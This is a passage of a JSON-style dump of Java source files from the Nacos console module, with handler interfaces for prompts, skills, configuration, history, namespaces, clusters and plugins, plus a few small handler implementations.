com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\n\n/**\n * Prompt handler interface.\n *\n * @author nacos\n */\npublic interface PromptHandler {\n    \n    /**\n     * Publish a new version of prompt.\n     *\n     * @param form    prompt publish form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if publish success\n     * @throws NacosException if publish fails\n     */\n    boolean publishPrompt(PromptPublishForm form, String srcUser, String srcIp) throws NacosException;\n    \n    /**\n     * Gets prompt meta.\n     *\n     * @param form the form\n     * @return the prompt meta\n     * @throws NacosException the nacos exception\n     */\n    PromptMetaInfo getPromptMeta(PromptForm form) throws NacosException;\n    \n    /**\n     * Query prompt detail prompt version info.\n     *\n     * @param form the form\n     * @return the prompt version info\n     * @throws NacosException the nacos exception\n     */\n    PromptVersionInfo queryPromptDetail(PromptQueryForm form) throws NacosException;\n    \n    /**\n     * Bind prompt label to version.\n     *\n     * @param form    bind form\n     * @param srcUser source user\n     * @param srcIp   source ip\n     * @return true if bind success\n     * @throws NacosException if bind fails\n     */\n    boolean bindLabel(PromptLabelBindForm form, String srcUser, String srcIp) throws NacosException;\n    \n    /**\n     * Unbind prompt label.\n     *\n     * @param form    label form\n     * @param srcUser source user\n     * @param srcIp   source ip\n     * @return true if unbind success\n     * @throws NacosException if unbind fails\n     */\n    boolean unbindLabel(PromptLabelForm form, String srcUser, String srcIp) throws NacosException;\n    \n    /**\n     * Delete prompt.\n     *\n     * @param form    prompt form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if delete success\n     * @throws NacosException if delete fails\n     */\n    boolean deletePrompt(PromptForm form, String srcUser, String srcIp) throws NacosException;\n    \n    /**\n     * List prompts with pagination.\n     *\n     * @param form prompt list form\n     * @return prompt list page\n     * @throws NacosException if list fails\n     */\n    Page<PromptMetaSummary> listPrompts(PromptListForm form) throws NacosException;\n    \n    /**\n     * List prompt versions page.\n     *\n     * @param form the form\n     * @return the page\n     * @throws NacosException the nacos exception\n     */\n    Page<PromptVersionSummary> listPromptVersions(PromptHistoryForm form) throws NacosException;\n    \n    /**\n     * Update prompt metadata (description only).\n     *\n     * @param form    prompt metadata form\n     * @param srcUser source user\n     * @param srcIp   source IP\n     * @return true if update success\n     * @throws NacosException if update fails\n     */\n    boolean updatePromptMetadata(PromptMetadataForm form, String srcUser, String srcIp) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ai/SkillHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.ai;\n\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.core.model.form.PageForm;\n\n/**\n * Skill handler.\n *\n * @author nacos\n */\npublic interface SkillHandler {\n    \n    /**\n     * Register skill.\n     *\n     * @param skill skill to register\n     * @param form skill detail form\n     * @throws NacosException nacos exception\n     */\n    void registerSkill(Skill skill, SkillDetailForm form) throws NacosException;\n    \n    /**\n     * Get skill.\n     *\n     * @param form skill form\n     * @return skill\n     * @throws NacosException nacos exception\n     */\n    Skill getSkill(SkillForm form) throws NacosException;\n    \n    /**\n     * Delete skill.\n     *\n     * @param form skill form\n     * @throws NacosException nacos exception\n     */\n    void deleteSkill(SkillForm form) throws NacosException;\n    \n    /**\n     * Update skill.\n     *\n     * @param skill skill to update\n     * @param form skill update form\n     * @throws NacosException nacos exception\n     */\n    void updateSkill(Skill skill, SkillUpdateForm form) throws NacosException;\n    \n    /**\n     * List skills.\n     *\n     * @param skillListForm skill list form\n     * @param pageForm page form\n     * @return skill list\n     * @throws NacosException nacos exception\n     */\n    Page<SkillBasicInfo> listSkills(SkillListForm skillListForm, PageForm pageForm) throws NacosException;\n    \n    /**\n     * Upload skill from zip file.\n     *\n     * @param namespaceId namespace ID\n     * @param zipBytes zip file bytes\n     * @return skill name\n     * @throws NacosException if upload failed\n     */\n    String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/config/ConfigHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport jakarta.servlet.ServletException;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Interface for handling configuration operations.\n *\n * @author zhangyukun\n */\npublic interface ConfigHandler {\n    \n    /**\n     * Retrieves the configuration based on the specified parameters.\n     *\n     * @param pageNo            The page number for pagination.\n     * @param pageSize          The number of items per page.\n     * @param dataId            The identifier of the configuration data.\n     * @param group             The group to which the configuration belongs.\n     * @param namespaceId       The namespace identifier.\n     * @param configAdvanceInfo Additional advanced search criteria.\n     * @return ConfigInfo  containing all details of the specified configuration.\n     * @throws IOException      If an input or output exception occurs.\n     * @throws ServletException If a servlet-specific exception occurs.\n     * @throws NacosException   If an error related to Nacos configuration occurs.\n     */\n    Page<ConfigBasicInfo> getConfigList(int pageNo, int pageSize, String dataId, String group, String namespaceId,\n            Map<String, Object> configAdvanceInfo) throws IOException, ServletException, NacosException;\n    \n    /**\n     * Retrieves detailed information about a specific configuration.\n     *\n     * @param dataId      The identifier of the configuration data.\n     * @param group       The group to which the configuration belongs.\n     * @param namespaceId The namespace identifier.\n     * @return A ConfigAllInfo object containing all details of the specified configuration.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    ConfigDetailInfo getConfigDetail(String dataId, String group, String namespaceId) throws NacosException;\n    \n    /**\n     * Publishes a new configuration or updates an existing configuration.\n     *\n     * @param configForm        The form object containing configuration details.\n     * @param configRequestInfo Additional request information related to the configuration.\n     * @return A Boolean indicating whether the publish operation was successful.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo) throws NacosException;\n    \n    /**\n     * Deletes a specific configuration.\n     *\n     * @param dataId      The identifier of the configuration data to delete.\n     * @param group       The group to which the configuration belongs.\n     * @param namespaceId The namespace identifier.\n     * @param tag         The tag associated with the configuration.\n     * @param clientIp    The IP address of the client requesting the deletion.\n     * @param srcUser     The source user requesting the deletion.\n     * @return A Boolean indicating whether the deletion was successful.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Boolean deleteConfig(String dataId, String group, String namespaceId, String tag, String clientIp, String srcUser)\n            throws NacosException;\n    \n    /**\n     * Deletes multiple configurations based on their IDs.\n     *\n     * @param ids      A list of IDs of the configurations to delete.\n     * @param clientIp The IP address of the client requesting the deletion.\n     * @param srcUser  The source user requesting the deletion.\n     * @return A Boolean indicating whether the deletion was successful.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Boolean batchDeleteConfigs(List<Long> ids, String clientIp, String srcUser) throws NacosException;\n    \n    /**\n     * Exports the configuration with metadata based on the specified parameters.\n     *\n     * @param dataId      The identifier of the configuration data.\n     * @param group       The group to which the configuration belongs.\n     * @param namespaceId The namespace identifier.\n     * @param appName     The application name associated with the configuration.\n     * @param ids         A list of IDs of the configurations to export.\n     * @return A ResponseEntity containing the exported configuration as a byte array.\n     * @throws Exception If an unexpected error occurs during the export process.\n     */\n    ResponseEntity<byte[]> exportConfig(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception;\n    \n    /**\n     * Searches for configurations based on detailed criteria.\n     *\n     * @param search            The search keyword.\n     * @param pageNo            The page number for pagination.\n     * @param pageSize          The number of items per page.\n     * @param dataId            The identifier of the configuration data.\n     * @param group             The group to which the configuration belongs.\n     * @param namespaceId       The namespace identifier.\n     * @param configAdvanceInfo Additional advanced search criteria.\n     * @return A Page object containing a list of ConfigInfo that matches the search criteria.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Page<ConfigBasicInfo> getConfigListByContent(String search, int pageNo, int pageSize, String dataId, String group,\n            String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException;\n    \n    /**\n     * Retrieves the status of listeners for a specific configuration.\n     *\n     * @param dataId      The identifier of the configuration data.\n     * @param group       The group to which the configuration belongs.\n     * @param namespaceId The namespace identifier.\n     * @param aggregation whether aggregation from other servers\n     * @return A ConfigListenerInfo object containing the status of the listeners.\n     * @throws Exception If an unexpected error occurs.\n     */\n    ConfigListenerInfo getListeners(String dataId, String group, String namespaceId, boolean aggregation)\n            throws Exception;\n    \n    /**\n     * Get subscription information based on IP, tenant, and other parameters.\n     *\n     * @param ip IP address of the client\n     * @param all Whether to retrieve all configurations\n     * @param namespaceId Tenant information\n     * @param aggregation whether aggregation from other servers\n     * @return ConfigListenerInfo object containing subscription information\n     * @throws NacosException If an error occurs while retrieving the subscription information.\n     */\n    ConfigListenerInfo getAllSubClientConfigByIp(String ip, boolean all, String namespaceId, boolean aggregation)\n            throws NacosException;\n\n    /**\n     * Imports and publishes a configuration from a file.\n     *\n     * @param srcUser      The source user performing the import.\n     * @param namespaceId  The namespace identifier.\n     * @param policy       The policy for handling existing configurations.\n     * @param file         The file containing the configuration to import.\n     * @param srcIp        The IP address of the source.\n     * @param requestIpApp The IP address of the requester.\n     * @return A Result object containing the status and additional information about the operation.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Result<Map<String, Object>> importAndPublishConfig(String srcUser, String namespaceId, SameConfigPolicy policy,\n            MultipartFile file, String srcIp, String requestIpApp) throws NacosException;\n    \n    \n    /**\n     * Clones an existing configuration to a different namespace.\n     *\n     * @param srcUser         The source user performing the clone operation.\n     * @param namespaceId     The namespace identifier where the configuration will be cloned to.\n     * @param configBeansList A list of configurations to be cloned.\n     * @param policy          The policy for handling existing configurations in the target namespace.\n     * @param srcIp           The IP address of the source.\n     * @param requestIpApp    The IP address of the requester.\n     * @return A Result object containing the status and additional information about the operation.\n     * @throws NacosException If an error related to Nacos configuration occurs.\n     */\n    Result<Map<String, Object>> cloneConfig(String srcUser, String namespaceId,\n            List<SameNamespaceCloneConfigBean> configBeansList, SameConfigPolicy policy, String srcIp,\n            String requestIpApp) throws NacosException;\n    \n    /**\n     * Remove beta configuration based on dataId, group, and namespaceId.\n     *\n     * @param dataId       the dataId\n     * @param group        the group\n     * @param namespaceId  the namespaceId\n     * @param remoteIp     the IP address of the client making the request\n     * @param requestIpApp the name of the application making the request\n     * @param srcUser      the src user performing the operation\n     * @return true if the beta configuration is successfully removed\n     * @throws NacosException if an error occurs while removing the beta configuration\n     */\n    boolean removeBetaConfig(String dataId, String group, String namespaceId, String remoteIp, String requestIpApp,\n            String srcUser) throws NacosException;\n    \n    /**\n     * Query beta configuration based on dataId, group, and namespaceId.\n     *\n     * @param dataId      the dataId\n     * @param group       the group\n     * @param namespaceId the namespaceId\n     * @return ConfigInfo4Beta containing the beta configuration details\n     * @throws NacosException if an error occurs while querying the beta configuration\n     */\n    ConfigGrayInfo queryBetaConfig(String dataId, String group, String namespaceId) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/config/HistoryHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\n\nimport java.util.List;\n\n/**\n * Interface for handling configuration history related operations.\n *\n * @author zhangyukun\n */\npublic interface HistoryHandler {\n    \n    /**\n     * Query the detailed configuration history information.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param nid         the history record ID\n     * @return the detailed configuration history information\n     * @throws NacosException if any error occurs during the operation\n     */\n    ConfigHistoryDetailInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws NacosException;\n    \n    /**\n     * Query the list of configuration history.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param pageNo      the page number\n     * @param pageSize    the number of items per page\n     * @return the paginated list of configuration history\n     * @throws NacosException if any error occurs during the operation\n     */\n    Page<ConfigHistoryBasicInfo> listConfigHistory(String dataId, String group, String namespaceId, Integer pageNo,\n            Integer pageSize) throws NacosException;\n    \n    /**\n     * Query the previous configuration history information.\n     *\n     * @param dataId      the ID of the data\n     * @param group       the group ID\n     * @param namespaceId the namespace ID\n     * @param id          the configuration ID\n     * @return the previous configuration history information\n     * @throws NacosException if any error occurs during the operation\n     */\n    ConfigHistoryDetailInfo getPreviousConfigHistoryInfo(String dataId, String group, String namespaceId, Long id)\n            throws NacosException;\n    \n    /**\n     * Query the list of configurations by namespace.\n     *\n     * @param namespaceId the namespace ID\n     * @return the list of configurations\n     * @throws NacosException if any error occurs during the operation\n     */\n    List<ConfigBasicInfo> getConfigsByTenant(String namespaceId) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/core/ClusterHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.NacosMember;\n\nimport java.util.Collection;\n\n/**\n * Interface for handling cluster-related operations.\n *\n * @author zhangyukun\n */\npublic interface ClusterHandler {\n    \n    /**\n     * Retrieve a list of cluster members with an optional search keyword.\n     *\n     * @param ipKeyWord the search keyword for filtering members\n     * @return a collection of matching members\n     * @throws NacosException if an error occurs during the operation\n     */\n    Collection<? extends NacosMember> getNodeList(String ipKeyWord) throws NacosException;\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/core/NamespaceHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.core.namespace.model.form.NamespaceForm;\n\nimport java.util.List;\n\n/**\n * Interface for handling namespace-related operations.\n *\n * @author zhangyukun\n */\npublic interface NamespaceHandler {\n    \n    /**\n     * Get a list of namespaces.\n     *\n     * @return list of namespaces\n     * @throws NacosException if there is an issue fetching the namespaces\n     */\n    List<Namespace> getNamespaceList() throws NacosException;\n    \n    /**\n     * Get details of a specific namespace.\n     *\n     * @param namespaceId the ID of the namespace\n     * @return namespace details\n     * @throws NacosException if there is an issue fetching the namespace\n     */\n    Namespace getNamespaceDetail(String namespaceId) throws NacosException;\n    \n    /**\n     * Create a new namespace.\n     *\n     * @param namespaceId   the ID of the namespace\n     * @param namespaceName the name of the namespace\n     * @param namespaceDesc the description of the namespace\n     * @return true if the namespace was successfully created, otherwise false\n     * @throws NacosException if there is an issue creating the namespace\n     */\n    Boolean createNamespace(String namespaceId, String namespaceName, String namespaceDesc) throws NacosException;\n    \n    /**\n     * Update an existing namespace.\n     *\n     * @param namespaceForm the form containing the updated namespace details\n     * @return true if the namespace was successfully updated, otherwise false\n     * @throws NacosException if there is an issue updating the namespace\n     */\n    Boolean updateNamespace(NamespaceForm namespaceForm) throws NacosException;\n    \n    /**\n     * Delete a namespace by its ID.\n     *\n     * @param namespaceId the ID of the namespace\n     * @return true if the namespace was successfully deleted, otherwise false\n     * @throws NacosException if there is an issue deleting the namespace\n     */\n    Boolean deleteNamespace(String namespaceId) throws NacosException;\n    \n    /**\n     * Check if a namespace ID exists.\n     *\n     * @param namespaceId the ID of the namespace to check\n     * @return true if the namespace exists, otherwise false\n     * @throws NacosException if there is an issue checking the namespace\n     */\n    Boolean checkNamespaceIdExist(String namespaceId) throws NacosException;\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/core/PluginHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginDetailVO;\nimport com.alibaba.nacos.core.plugin.model.vo.PluginInfoVO;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Interface for handling plugin-related operations.\n *\n * @author WangzJi\n */\npublic interface PluginHandler {\n\n    /**\n     * Get a list of plugins.\n     *\n     * @param pluginType optional plugin type filter\n     * @return list of plugin info VOs\n     * @throws NacosException if there is an issue fetching the plugins\n     */\n    List<PluginInfoVO> listPlugins(String pluginType) throws NacosException;\n\n    /**\n     * Get plugin detail.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return plugin detail VO\n     * @throws NacosException if there is an issue fetching the plugin detail\n     */\n    PluginDetailVO getPluginDetail(String pluginType, String pluginName) throws NacosException;\n\n    /**\n     * Update plugin enabled/disabled status.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @param enabled    whether to enable\n     * @param localOnly  whether only apply to local node\n     * @throws NacosException if there is an issue updating the plugin status\n     */\n    void updatePluginStatus(String pluginType, String pluginName, boolean enabled, boolean localOnly)\n            throws NacosException;\n\n    /**\n     * Update plugin configuration.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @param config     configuration map\n     * @param localOnly  whether only apply to local node\n     * @throws NacosException if there is an issue updating the plugin config\n     */\n    void updatePluginConfig(String pluginType, String pluginName, Map<String, String> config, boolean localOnly)\n            throws NacosException;\n\n    /**\n     * Get plugin availability across cluster nodes.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return node availability map\n     * @throws NacosException if there is an issue fetching the availability\n     */\n    Map<String, Boolean> getPluginAvailability(String pluginType, String pluginName) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/AbstractServerStateHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl;\n\nimport com.alibaba.nacos.console.handler.ServerStateHandler;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.DiskUtils;\n\nimport java.io.File;\n\nimport static com.alibaba.nacos.common.utils.StringUtils.FOLDER_SEPARATOR;\nimport static com.alibaba.nacos.common.utils.StringUtils.TOP_PATH;\nimport static com.alibaba.nacos.common.utils.StringUtils.WINDOWS_FOLDER_SEPARATOR;\n\n/**\n * Abstract Server state handler.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractServerStateHandler implements ServerStateHandler {\n    \n    private static final String ANNOUNCEMENT_FILE = \"announcement.conf\";\n    \n    private static final String GUIDE_FILE = \"console-guide.conf\";\n    \n    @Override\n    public String getAnnouncement(String language) {\n        String file = ANNOUNCEMENT_FILE.substring(0, ANNOUNCEMENT_FILE.length() - 5) + \"_\" + language + \".conf\";\n        if (file.contains(TOP_PATH) || file.contains(FOLDER_SEPARATOR) || file.contains(WINDOWS_FOLDER_SEPARATOR)) {\n            throw new IllegalArgumentException(\"Invalid filename\");\n        }\n        File announcementFile = new File(EnvUtil.getConfPath(), file);\n        String announcement = null;\n        if (announcementFile.exists() && announcementFile.isFile()) {\n            announcement = DiskUtils.readFile(announcementFile);\n        }\n        return announcement;\n    }\n    \n    @Override\n    public String getConsoleUiGuide() {\n        File guideFile = new File(EnvUtil.getConfPath(), GUIDE_FILE);\n        String guideInformation = null;\n        if (guideFile.exists() && guideFile.isFile()) {\n            guideInformation = DiskUtils.readFile(guideFile);\n        }\n        return guideInformation;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/ConditionFunctionEnabled.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Condition;\nimport org.springframework.context.annotation.ConditionContext;\nimport org.springframework.core.type.AnnotatedTypeMetadata;\n\n/**\n * The condition of target function or module is enabled.\n * When target module such as `naming`, `config` or `ai` is disabled or dependency module is disabled\n * The target handler should not be loaded and should use noop handler replaced.\n *\n * @author xiweng.yy\n */\npublic class ConditionFunctionEnabled implements Condition {\n    \n    private final String targetFunctionMode;\n    \n    public ConditionFunctionEnabled(String targetFunctionMode) {\n        this.targetFunctionMode = targetFunctionMode;\n    }\n    \n    @Override\n    public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {\n        String functionMode = EnvUtil.getFunctionMode();\n        // empty function mode setting means all function is enabled\n        if (StringUtils.isEmpty(functionMode)) {\n            return true;\n        }\n        // configured function mode not empty and equals target function mode, means target function is enabled\n        return functionMode.equalsIgnoreCase(targetFunctionMode);\n    }\n    \n    public static class ConditionNamingEnabled extends ConditionFunctionEnabled {\n        \n        public ConditionNamingEnabled() {\n            super(EnvUtil.FUNCTION_MODE_NAMING);\n        }\n    }\n    \n    public static class ConditionConfigEnabled extends ConditionFunctionEnabled {\n        \n        public ConditionConfigEnabled() {\n            super(EnvUtil.FUNCTION_MODE_CONFIG);\n        }\n    }\n    \n    public static class ConditionAiEnabled extends ConditionFunctionEnabled {\n        \n        public ConditionAiEnabled() {\n            super(\"\");\n        }\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/EnabledInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner;\n\nimport com.alibaba.nacos.sys.env.Constants;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Using Inner handler to handle console API request.\n *\n * @author xiweng.yy\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@ConditionalOnProperty(value = Constants.NACOS_DEPLOYMENT_TYPE, havingValue = Constants.NACOS_DEPLOYMENT_TYPE_MERGED, matchIfMissing = true)\npublic @interface EnabledInnerHandler {\n\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/HealthInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner;\n\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.console.handler.HealthHandler;\nimport com.alibaba.nacos.core.cluster.health.ModuleHealthCheckerHolder;\nimport com.alibaba.nacos.core.cluster.health.ReadinessResult;\nimport org.springframework.stereotype.Service;\n\n/**\n * Implementation of HealthHandler that performs health check operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\npublic class HealthInnerHandler implements HealthHandler {\n    \n    @Override\n    public Result<String> checkReadiness() {\n        ReadinessResult result = ModuleHealthCheckerHolder.getInstance().checkReadiness();\n        if (result.isSuccess()) {\n            return Result.success(\"ok\");\n        }\n        return Result.failure(result.getResultMessage());\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/ServerStateInnerHandler.java",
